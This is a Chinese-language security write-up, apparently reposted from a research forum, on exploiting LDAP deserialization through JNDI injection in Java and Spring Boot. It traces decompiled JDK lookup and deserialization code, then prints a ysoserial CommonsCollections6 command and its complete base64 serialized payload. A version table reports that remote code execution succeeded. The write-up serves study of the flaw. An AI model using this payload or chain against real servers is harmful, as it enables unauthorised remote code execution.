关于LDAP反序列化的利用浅析
2023-9-8 11:27:36 Author: xz.aliyun.com(查看原文) 阅读量:10 收藏

​ 由于想要JNDI注入使用RMI协议其实存在一定的限制条件比如高版本设置了trustURLCodebase,虽然可以通过BeanFactory来加载EL表达式的方式来RCE,但是其实Tomcat在高版本也存在了限制,这种方式也就无法利用了,于是想到其实还存在LDAP反序列化的漏洞,可以尝试利用一下。

​ 这里我选择了JDK8u111 & Springboot2.5.13版本来首先测试一下简单的JNDI注入的RCE的利用链。

这里就是基础的log4j2 RCE的基础利用链了,可以看到熟悉的JndiManager.lookup()

这里是直接加载了RCE的恶意类,所以我们可以看到程序栈中是

ComponentContext#p_lookup-->LdapCtx#c_lookup-->DirectoryManager#getObjectInstance

这不是反序列化的利用链其实。

其实在LdapCtx#c_lookup中存在Obj.decodeObject()方法,这里是反序列化的入口

protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
        var2.setError(this, var1);
        Object var3 = null;

        Object var4;
        try {
            SearchControls var22 = new SearchControls();
            var22.setSearchScope(0);
            var22.setReturningAttributes((String[])null);
            var22.setReturningObjFlag(true);
            LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
            this.respCtls = var23.resControls;
            if (var23.status != 0) {
                this.processReturnCode(var23, var1);
            }

            if (var23.entries != null && var23.entries.size() == 1) {
                LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
                var4 = var25.attributes;
                Vector var8 = var25.respCtls;
                if (var8 != null) {
                    appendVector(this.respCtls, var8);
                }
            } else {
                var4 = new BasicAttributes(true);
            }

            if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
              //这里是反序列化的入口
                var3 = Obj.decodeObject((Attributes)var4);
            }

            if (var3 == null) {
                var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
            }
        } catch (LdapReferralException var20) {
            LdapReferralException var5 = var20;
            if (this.handleReferrals == 2) {
                throw var2.fillInException(var20);
            }

            while(true) {
                LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);

                try {
                    Object var7 = var6.lookup(var1);
                    return var7;
                } catch (LdapReferralException var18) {
                    var5 = var18;
                } finally {
                    var6.close();
                }
            }
        } catch (NamingException var21) {
            throw var2.fillInException(var21);
        }

        try {
            return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
        } catch (NamingException var16) {
            throw var2.fillInException(var16);
        } catch (Exception var17) {
            NamingException var24 = new NamingException("problem generating object using object factory");
            var24.setRootCause(var17);
            throw var2.fillInException(var24);
        }
    }

decodeObject中的代码如下

static Object decodeObject(Attributes var0) throws NamingException {
      String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

      try {
          Attribute var1;
          if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
              ClassLoader var3 = helper.getURLClassLoader(var2);
            //如果想要触发反序列化就要进入到这个if判断中
              return deserializeObject((byte[])((byte[])var1.get()), var3);
          } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
              return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
          } else {
              var1 = var0.get(JAVA_ATTRIBUTES[0]);
              return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
          }
      } catch (IOException var5) {
          NamingException var4 = new NamingException();
          var4.setRootCause(var5);
          throw var4;
      }
  }

如图所示,var0就是我们的入参其中是objectclass等等内容

然后想要从var0中获取JAVA_ATTRIBUTES[1],该属性的内容就是javaSerializedData

但是这样明显可以看出我们的var0中并没有该属性(因为这里是直接加在恶意类,并不是获取一个序列化之后的恶意类),所以一定是无法进入这个if判断的。于是我们就要新建一个LDAP服务来提供一个序列化之后的恶意类。只是反序列化漏洞需要的环境是本次存在对应的依赖。

​ 首先要搭建一个LDAP的恶意服务端,服务端返回的是恶意的Java序列化之后的数据,这里我选择使用CC6的利用链,先生成一下

$ > java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'open -a Calculator' |base64 

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABJvcGVuIC1hIENhbGN1bGF0b3J0AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==

搭建服务端的话这里参考了大佬的项目

首先看一下效果肯定是可以直接RCE的。

版本测试

JDK版本 SpingBoot版本 Tomcat版本 RCE
JDK8u111 2.5.13 Apache Tomcat/9.0.62]
JDK8u361 2.5.13 Apache Tomcat/9.0.62]
JDK8u361 2.7.14 Apache Tomcat/9.0.78

很好,其实只要本地存在依赖的话就是全版本的RCE了。下面来分析一下反序列化的利用原因

首先还是到decodeObject()函数的时候,这里一定是可以进入这个if判断了

之后我们跟进deserializeObject()方法中,代码如下

private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
        try {
          //var0中就是传入的Java序列化对象中javaSerializedData对应的value,其实也就是字节码
          //var1根据我的调试是TomcatEmbeddedWebappClassLoader
            ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

            try {
                Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1);
              //这里就将var20给声明了
                Throwable var21 = null;

                Object var5;
                try {
                    var5 = ((ObjectInputStream)var20).readObject();
                } catch (Throwable var16) {
                    var21 = var16;
                    throw var16;
                } finally {
                    if (var20 != null) {
                        if (var21 != null) {
                            try {
                                ((ObjectInputStream)var20).close();
                            } catch (Throwable var15) {
                                var21.addSuppressed(var15);
                            }
                        } else {
                            ((ObjectInputStream)var20).close();
                        }
                    }

                }

                return var5;
            } /*

            code*/
    }

入口函数就是deserializeObject(),其实再往后分析会变成CC6的分析。 后续再继续更新CC6的内容吧。


文章来源: https://xz.aliyun.com/t/12835
如有侵权请联系:admin#unsafe.sh